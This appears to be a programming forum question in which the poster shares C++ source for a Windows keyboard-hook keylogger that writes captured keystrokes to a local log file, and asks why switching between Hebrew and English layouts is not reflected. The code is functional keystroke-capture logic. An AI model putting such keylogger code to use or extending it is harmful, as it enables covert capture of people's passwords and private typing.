I'm trying to write a key-logger, but I have a problem when I switch a language.
I have Hebrew and English in my keyboard.
It recognizes well Hebrew and English separately, the problem is if I change language(alt+shift) so it remains in the first language.
code:
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode))
{
if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100))
{
std::string toPrint = "nCode = " + std::to_string(nCode);
std::string toPrint2 = "wParam = " + std::to_string(wParam);
std::string toPrint3 = "wParam = " + std::to_string(lParam);
OutputDebugStringA(toPrint.c_str());
OutputDebugStringA(toPrint2.c_str());
OutputDebugStringA(toPrint3.c_str());
f1 = fopen("c:\\a\\log.txt", "a+");
if (wParam == VK_RETURN)
{
ch = '\n';
fwrite(&ch, 1, 1, f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan = 0;
ToAscii(wParam, scan, ks, &w, 0);
ch = char(w);
fwrite(&ch, 1, 1, f1);
}
fclose(f1);
}
}
I saw that nCode, wParam and lParam parameters have the same values in the two languages.
Any ideas?
Thanks!